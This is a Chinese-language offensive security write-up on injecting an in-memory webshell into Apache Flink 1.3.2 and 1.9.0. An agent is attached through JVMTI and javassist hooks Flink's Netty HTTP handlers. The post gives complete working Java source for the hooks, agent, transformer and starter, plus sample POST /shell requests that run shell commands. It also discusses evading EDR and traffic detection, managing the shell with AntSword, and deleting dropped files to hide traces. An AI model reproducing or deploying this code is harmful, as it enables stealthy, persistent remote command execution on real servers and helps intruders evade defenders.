针对 Flink 写内存马的实践过程
在重要的生产网中，目标服务器无法外联，而遇到Apache Flink情况下如何写内存马，本文对这一有趣实践过程做了一个记录。
1. 思路
首先目标机器 Flink 版本为 1.3.2、1.9.0，Flink 底层是使用的Netty作为多功能 socket 服务器，我们可以有两种解决思路：
① 注册控制器；
② 通过 JVMTI ATTACH 机制 Hook 关键方法来写内存马。
1.1 应用层
第一个方案就是，类似Tomcat、Spring情况下的内存马，从当前或是全局中获取获取到被用于路由类功能的变量，注册自己的路由、处理器。这里拿 1.9.0 代码来举例，jobmanager 的 web 服务器启动与初始化位于org.apache.flink.runtime.rest.RestServerEndpoint#start。
这里将自定义的控制器handler注册到路由器router，所以我们需要只需要参考Flink的业务代码，写好自己的Handler然后注册到该route变量即可。但很可惜，笔者找了一圈，没有发现相关的静态变量，无法获取到该路由对象。另外 jar 执行的代码处 (invoke main 方法)也没有传入啥有用的变量。要不就是想办法添加一个自定义的SocketChannel，但这个方法更加不现实。
1.2 JVM TI Attach
直接利用JVMTI的 attach 机制，hook 特定类方法，在其前面插入我们的 webshell 方法，通过 DEBUG 相关 HTTP 处理流程，笔者最终实现了 1.3.2、1.9.0 版本下的内存马。
本文主要围绕如何使用该方法实现 flink 内充马进行讲述。
1.3 系统层
在系统层面，通过端口复用实现系统层面的木马，先知上有人提出该种想法利用 Hook 技术打造通用的 Webshell
https://xz.aliyun.com/t/9774
不过存在一些问题：
① 执行该操作的权限要求很高；
② 该 hook 操作容易被 EDR 发现；
③ 需要兼容不同平台，且不同 linux 环境都可能导致不兼容。
大佬有说到，通过替换 lib 库不容易被杀，但需要重启（跑题了）。
2. JVM TI 概述
JAVA 虚拟机开放了一个叫 JVM Tool Interface (JVM TI) 的接口，通过该接口，我们可以查看和修改在 JVM 运行中的 Java 程序代码。
实现了 JVM TI 接口的程序，称为 agent，agent 能通过三种方式被执行，
① Agent Start-Up (OnLoad phase)：在 JAVA 程序的 main 函数执行之前执行 agent，java 命令中需通过 -javaagent 参数来指定 agent，实现方式为 premain
② Agent Start-Up (Live phase) ：对于正在运行的 JAVA 程序，通过 JVM 进程间通信，动态加载 agent，实现方式为 attatch 机制
③ Agent Shutdown：在虚拟机的 library 将要被卸载时执行。
如果使用 jdk/tools.jar 提供的 jvm 操作类，由于 com.sun.tools.attach.VirtualMachine#loadAgent(java.lang.String) 的限制，我们的 agent 需要先落地到系统中，而执行 loadAgent 这一操作的程序我们被称为 starter。
关于 agent，最近 @rebeyond 提出了一种不需要落地的方案，但其实我觉得落地 agent 这个问题不大（还请大佬们指教）：
3. 大体框架
首先，我们通过Flink的 JAR 上传执行功能，上传我们的starter.jar，starter 被执行后，我们先释放 agent 到系统临时目录下，之后再加载该 agent，并在加载完成之后删除即可。
4.寻找 Hook 点
由于Netty是用于支持多协议的 socket 服务器，对应用层 HTTP 的解析封装是 Flink 做的，所以为了简洁高效，我们可以选择在 Flink 这边 Hook 对应的方法。
2.1 Flink 1.3.2
通过浏览堆栈信息，查看相关代码，我们可以很容易发现该版本中我们需要的关键类方法在org.apache.flink.runtime.webmonitor.HttpRequestHandler#channelRead0
不过，一个 HTTP 请求过来，我们在这里并不能一次性拿到整个 HTTP 报文，在msg instance of HttpRequest情况下我们拿到的是请求行与请求头（这里简称请求头吧）,下一次再来到channelRead0中，且msg instance of HttpContent时，我们拿到的是请求体 Body，这时需要从this中拿到currentRequest请求头、currentDecoder解码器，然后解析获取到 Body 中的 key-value。
2.2 Flink 1.9.0
起初笔者看到 1.9.0 版本中存在 1.3.2 一样的代码，以为 web 流程没有变化，可以沿用 1.3.2 的 Hook 方法，但到实际测试时发现只是旧代码没有删除，而流程发生了变化，导致笔者需要 hook 新类方法。
笔者使用org.apache.flink.runtime.rest.FileUploadHandler#channelRead0该类方法作为 hook 点，这里的代码基础逻辑和 1.3.2 的一样，也是无法直接拿到整个 HTTP 请求报文，需要在msg instance HttpContent情况下使用this.currentHttpPostRequestDecoder处理 BODY 拿到 KEY-VALUE 表单数据，从this.currentHttpRequest拿到 HTTP 头。
5. 编写Agent
我们首先编写一个接口类IHook，声明一个 Hook 点的要素方法，其中我们可以通过 JDK 自带的工具获取方法描述符号，如
javap -cp flink-dist_2.11-1.9.0.jar -p -s org.apache.flink.runtime.rest.FileUploadHandler
5.1 IHook
package com.attach.hook;public interface IHook {/*** @return 插桩代码*/String getMethodSource();/*** @return 被Hook的目标类空间名*/String getTargetClass();/*** @return 被Hook的目标方法名*/String getTargetMethod();/*** @return 被Hook的目标方法描述符*/String getMethodDesc();}
5.2 Flink132
我们在编写目标方法的 Hook 点时，需要引用相关的类或字段，在本地 IDEA 测试运行时我们直接引用相关 jar 包即可，而在打包 JAR 时，我们可以选择不打包进去，避免获得的 jar 包过大。
另外，关于实现 webshell 的业务功能，冰蝎工具就不适用了，因为 behind 的业务逻辑与HttpServletSession、HttpServletRequest、HttpServletResponse这几个类紧密耦合，修改它的代码的工作量也很大。但笔者还是十分希望有一个图形化界面的工具来辅助我们管理 webshell，这样能极大提升我们的工资效率。随后笔者想到要不直接使用比较原始的工具cknife（JAVA 版开源菜刀）,稍微改改就能用，但如果要流量免杀，就还得改客户端源码，也费精力。
后面又看到AntSword的CMDLINUX Shell功能，服务器只需要提供命令执行功能并回显结果，就能做到文件浏览、修改功能；而且 AntSword 支持自定义加密，这样一来选择这块工具就很省事了，至于其他重要的功能，如代理，就先放着吧。
另外，在笔者在内存马的代码中添加了内存马删除功能，当用户访问/UNINSTALL路径时，会触发removeTransformer(..)，将相关 hook 点去除。
flink1.3.2 中，笔者给出的代码在成功 hook 后，触发命令执行的 HTTP 是这样的：
POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: application/x-www-form-urlencodedContent-Length: 10cmd=whoami
package com.attach.hook;import com.attach.Agent;import io.netty.buffer.Unpooled;import io.netty.channel.ChannelFutureListener;import io.netty.handler.codec.http.*;import io.netty.handler.codec.http.multipart.DiskAttribute;import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import io.netty.handler.codec.http.multipart.InterfaceHttpData;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import static com.attach.util.FileUtil.IS_WIN;import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;import io.netty.handler.codec.http.HttpContent;public class Flink132 implements IHook{public String getMethodSource() {return "com.attach.hook.Flink132.getShell($0,$1,$2);";}public String getTargetClass() {return "org.apache.flink.runtime.webmonitor.HttpRequestHandler";}public String getTargetMethod() {return "channelRead0";}public String getMethodDesc() {return "(Lio/netty/channel/ChannelHandlerContext;Lio/netty/handler/codec/http/HttpObject;)V";}public static void getShell(Object handler,io.netty.channel.ChannelHandlerContext ctx,io.netty.handler.codec.http.HttpObject msg) {//如果发生java.lang.NoClassDefFoundError异常，是无法捕获的，且会影响业务。try {String uriSymbol = "/shell";String cmdKey = "cmd";if (msg instanceof io.netty.handler.codec.http.HttpContent) {Field currentDecoderField = handler.getClass().getDeclaredField("currentDecoder");currentDecoderField.setAccessible(true);io.netty.handler.codec.http.multipart.HttpPostRequestDecoder currentDecoder =(io.netty.handler.codec.http.multipart.HttpPostRequestDecoder) currentDecoderField.get(handler);Field currentRequestField = handler.getClass().getDeclaredField("currentRequest");currentRequestField.setAccessible(true);DefaultHttpRequest request = (DefaultHttpRequest) currentRequestField.get(handler);HttpContent chunk = (HttpContent) msg;//currentDecoder not null meaning method is POST and body has data.if (currentDecoder != null && request!=null) {if (request.getUri().startsWith("/UNINSTALL")) {if (Agent.transformer != null) {Agent.transformer.release();}}if (request.getUri().startsWith(uriSymbol)) {currentDecoder.offer(chunk);Map<String, String> form = new HashMap<String, String>();try{while (currentDecoder.hasNext()) {InterfaceHttpData data = currentDecoder.next();if (data instanceof DiskAttribute) {String key = data.getName();String value = ((DiskAttribute) data).getValue();form.put(key, value);}data.release();}} catch (HttpPostRequestDecoder.EndOfDataDecoderException ignored) {}String cmd = "null cmd";if (form.containsKey(cmdKey)) {cmd = form.get(cmdKey);}if (!form.containsKey(cmdKey)) {return;}String[] cmds = null;if (!IS_WIN) {cmds = new String[]{"/bin/bash", "-c", cmd};} else {cmds = new String[]{"cmd","/c",cmd};}java.io.InputStream in =Runtime.getRuntime().exec(cmds).getInputStream();ByteArrayOutputStream outputStream = new ByteArrayOutputStream();int a = -1;byte[] b = new byte[1];outputStream.write("<pre>".getBytes());while((a=in.read(b))!=-1){outputStream.write(b);}outputStream.write("</pre>".getBytes());HttpResponseStatus status = new HttpResponseStatus(200, "OK");FullHttpResponse response = new DefaultFullHttpResponse(HTTP_1_1, status, Unpooled.copiedBuffer(outputStream.toByteArray()));response.headers().set(CONTENT_TYPE, "text/plain; charset=UTF-8");ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);}// HTTP GET}else{}}}}}
5.3 Flink190
flink1.9.0 中，笔者给出的代码在成功 hook 后，触发命令执行的 HTTP 是这样的：
POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: multipart/form-data; boundary=--------347712004Content-Length: 98----------347712004Content-Disposition: form-data; name="cmd"whoami----------347712004--
package com.attach.hook;import com.attach.Agent;import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;import org.apache.flink.shaded.netty4.io.netty.buffer.Unpooled;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFutureListener;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Collections;import java.util.HashMap;import java.util.Map;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.InterfaceHttpData;import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelHandlerContext;import static com.attach.util.FileUtil.IS_WIN;import static com.attach.util.FileUtil.writeMsg;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpVersion.HTTP_1_1;public class Flink190 implements IHook{// public static String targetClass = "org.apache.flink.runtime.webmonitor.HttpRequestHandler";public String getMethodSource() {return "com.attach.hook.Flink190.getShell($0,$1,$2);";}public String getTargetClass() {return "org.apache.flink.runtime.rest.FileUploadHandler";}public String getTargetMethod() {return "channelRead0";}public String getMethodDesc() {return "(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChannelHandlerContext;Lorg/apache/flink/shaded/netty4/io/netty/handler/codec/http/HttpObject;)V";}public static void getShell(Object handler,ChannelHandlerContext ctx,HttpObject msg) {//如果发生java.lang.NoClassDefFoundError异常，是无法捕获的，且会影响业务。try {String uriSymbol = "/shell";String cmdKey = "cmd";if (msg instanceof HttpContent) {Field currentDecoderField = handler.getClass().getDeclaredField("currentHttpPostRequestDecoder");currentDecoderField.setAccessible(true);HttpPostRequestDecoder currentHttpPostRequestDecoder =(HttpPostRequestDecoder) currentDecoderField.get(handler);Field currentRequestField = handler.getClass().getDeclaredField("currentHttpRequest");currentRequestField.setAccessible(true);HttpRequest currentHttpRequest = (HttpRequest) currentRequestField.get(handler);final HttpContent httpContent = (HttpContent) msg;currentHttpPostRequestDecoder.offer(httpContent);if (currentHttpRequest.uri().startsWith("/UNINSTALL")) {if (Agent.transformer != null) {Agent.transformer.release();}}if (currentHttpRequest.uri().startsWith(uriSymbol)) {Map<String, String> form = new HashMap<String, String>();while (httpContent != LastHttpContent.EMPTY_LAST_CONTENT && currentHttpPostRequestDecoder.hasNext()) {InterfaceHttpData data = currentHttpPostRequestDecoder.next();if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute){Attribute request = (Attribute) data;form.put(request.getName(), request.getValue());}}String cmd = "null cmd";if (form.containsKey(cmdKey)) {cmd = form.get(cmdKey);}for (String key : form.keySet()) {writeMsg(key);}if (!form.containsKey(cmdKey)) {return;}String[] cmds = null;if (!IS_WIN) {cmds = new String[]{"/bin/bash", "-c", cmd};} else {cmds = new String[]{"cmd","/c",cmd};}java.io.InputStream in =Runtime.getRuntime().exec(cmds).getInputStream();ByteArrayOutputStream outputStream = new ByteArrayOutputStream();int a = -1;byte[] tmp = new byte[1];outputStream.write("<pre>".getBytes());while((a=in.read(tmp))!=-1){outputStream.write(tmp);}outputStream.write("</pre>".getBytes());HttpRequest tmpRequest = currentHttpRequest;getMethodInvoke(handler, "deleteUploadedFiles", null, null);getMethodInvoke(handler, "reset", null, null);HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK);response.headers().set(CONTENT_TYPE, "text/html");response.headers().set(CONNECTION, HttpHeaders.Values.CLOSE);byte[] buf = outputStream.toByteArray();ByteBuf b = Unpooled.copiedBuffer(buf);HttpHeaders.setContentLength(response, buf.length);ctx.write(response);ctx.write(b);ChannelFuture lastContentFuture = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT);lastContentFuture.addListener(ChannelFutureListener.CLOSE);ReferenceCountUtil.release(tmpRequest);}}} catch (Exception e) {}}private static Object getMethodInvoke(Object object, String methodName, Class[] parameterTypes,Object[] args) throws Exception {try {Method method = getMethod(object, methodName, parameterTypes);return method.invoke(object, args);} catch (Exception e) {throw new Exception(String.format("getMethodInvoke error:%s#%s",object.toString(),methodName));}}private static Method getMethod(Object object, String methodName, Class<?>... parameterTypes) throws Exception {try {Method method = object.getClass().getDeclaredMethod(methodName,parameterTypes);method.setAccessible(true);return method;} catch (Exception e) {throw new Exception(String.format("getMethod error:%s#%s",object.toString(),methodName));}}}
5.4 Agent
由于我们使用 attach 机制去 hook 方法并插桩，我们的 agent 客户端被loadAgent调用时，入口方法为agentmain，所以我们这里只编写该方法即可。另外，将整个项目打包成 JAR 后，我们需要在META-INF/MANIFEST中添加对应的属性。
Agent-Class: com.attach.AgentCan-Retransform-Classes: true
package com.attach;import java.lang.instrument.Instrumentation;public class Agent {public static Transformer transformer = null;//注意，理论上运行环境已经有相关JAR包，为了减小打包后的JAR大小，在打包是不需要将javassist外的其他依赖打包进去public static void agentmain(String vmName, Instrumentation inst) {transformer = new Transformer(vmName, inst);transformer.retransform();}}
5.5 Transformer
我们编写一个自己的Transformer类，实现ClassFileTransformer相关接口方法，由于目标类应该已经被加载了，所以我们需要通过retransform来重新转换已经加载的类。
package com.attach;import com.attach.hook.IHook;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.ArrayList;import java.util.List;public class Transformer implements ClassFileTransformer{private Instrumentation inst;private List<IHook> hooks = new ArrayList<IHook>();Transformer(String vmName,Instrumentation inst) {//为了适配不同版本，这里不直接importtry {if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager")) {this.hooks.add((IHook) Class.forName("com.attach.hook.Flink132").newInstance());}} catch (Exception e) {}try {if (vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint")) {this.hooks.add((IHook) Class.forName("com.attach.hook.Flink190").newInstance());}} catch (Exception e) {}this.inst = inst;inst.addTransformer(this, true);}public void release() {inst.removeTransformer(this);retransform();}public void retransform() {Class[] loadedClasses = inst.getAllLoadedClasses();for (Class clazz : loadedClasses) {for (IHook hook : this.hooks) { ;if (clazz.getName().equals(hook.getTargetClass())) {if (inst.isModifiableClass(clazz) ) {try {inst.retransformClasses(clazz);} catch (Throwable t) {}}}}}}public byte[] transform(ClassLoader classLoader, String s,Class<?> aClass, ProtectionDomain protectionDomain,byte[] classfileBuffer) {for (IHook hook : this.hooks) {String targetClass = hook.getTargetClass();if (targetClass.replaceAll("\\.", "/").equals(s)) {try {ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.get(targetClass);CtMethod m = ctClass.getMethod(hook.getTargetMethod(),hook.getMethodDesc());m.insertBefore(hook.getMethodSource());byte[] byteCode = ctClass.toBytecode();ctClass.detach();return byteCode;} catch (Exception ex) {}}}return null;}}
6. 编写 Starter
starter 这里需要使用到 JDK 的 tools.jar 包，用于和 JAVA 虚拟机进行通信，但不同 JDK 版本与不同系统架构都会导致 jvm 或是说 tools.jar 的差异，为了避免该问题，这里我们可以使用URLClassLoader优先从本地 lib 库中找 tools.jar 包，如果找不到再去使用我们打包的 starter.jar 中的相关虚拟机操作类。如果是 Linux 的情况，我们可以直接在 JDK/lib 下找到 tools.jar 包，而 windows 比这复杂多，不过目前不涉及到 windows 场景，也不必处理。
由于 1.3.2 与 1.9.0 的 VM Name 发生了变化，前者为org.apache.flink.runtime.jobmanager.JobManager，后者为org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint,这里直接对两种进行了判断。
public class Starter {String agentJar = "HookSomething.txt";/*** here use URLClassloader to load VirtualMachine class which from `tools.jar`* the load sequence is 1. try to load from local system's jdk/lib/tools.jar* 2. if can't load from local,try to load from the jar which we package* Because we need to use the JVMTI and communicate with JVM ,it's related to JVM,* so it's related to system architecture and java version.* In this case,load tools.jar from local is the best choice , it can avoid the problem case by* java version / system architecture .* @param args*/public static void main(String[] args) {try {Starter app = new Starter();//将resource下的agent.jar释放到临时目录String jarPath = app.writeAgentJar();File javaHome = new File(System.getProperty("java.home"));// here only handle Open JDK situation,others didn't . . Win Oracle JDKString toolsPath = javaHome.getName().equalsIgnoreCase("jre") ? "../lib/tools.jar" : "lib/tools.jar";URL[] urls = new URL[]{//优先查找加载JDK LIB tools.jarnew File(javaHome, toolsPath).getCanonicalFile().toURI().toURL(),//找不到的话加载打包的JAR，或者如果 .so 已经被加载 java.lang.UnstisfiedLinkErrorStarter.class.getProtectionDomain().getCodeSource().getLocation(),};URLClassLoader loader = new URLClassLoader(urls, null);Class<?> VirtualMachineClass = loader.loadClass("com.sun.tools.attach.VirtualMachine");Class<?> VirtualMachineDescriptorClass = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");Method listM = VirtualMachineClass.getDeclaredMethod("list", null);List vmList= (List) listM.invoke(null);Object vm = null;List<String> vmNames = new ArrayList<String>() {{add("org.apache.flink.runtime.jobmanager.JobManager");add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint");}};for (Object vmd : vmList) {for (String vmName : vmNames) {Method displayNameM = VirtualMachineDescriptorClass.getDeclaredMethod("displayName", null);String name = (String) displayNameM.invoke(vmd);if (name.startsWith(vmName)) {Method attachM = VirtualMachineClass.getDeclaredMethod("attach", VirtualMachineDescriptorClass);vm = attachM.invoke(null, vmd);Method loadAgentM = VirtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class);loadAgentM.invoke(vm, jarPath, vmName);Method detachM = VirtualMachineClass.getDeclaredMethod("detach", null);detachM.invoke(vm, null);System.out.println("success");}}}loader.close();new File(jarPath).delete();} catch (Exception e) {e.printStackTrace();}}
7. libattach.so 被占用
起初笔者以为 flink 的 JAR 执行是通过java -jar进行的，后面发现其实就是 invoke 了 main 方法。这个情况下，导致了这么一个问题：starter 成功执行 attach 之后，我们通过/UNINSTALL功能卸载内存马，再一次去执行 starter 时却发现 starter 执行失败。原因为，VirtualMachine在实例化时有个静态代码块加载了libattach.so，而第二次执行 starter 会导致在加载该 so 文件时报java.lang.UnsatisfiedLinkError: Can't load library异常。
为了避免该问题，我们可以一开始先将 starter 释放到临时目录下，通过调用系统命令jar -jar来运行 starter。
8. 结语
在路由注册方式行不通的情况下，使用 attach 进行内存马的写入，不失为一个不错的方法，理论上在任何 JAVA 代码执行漏洞中，我们都可以使用该方式去写内存马，但关于内存马的业务功能这块，我们可能需要费一番功夫。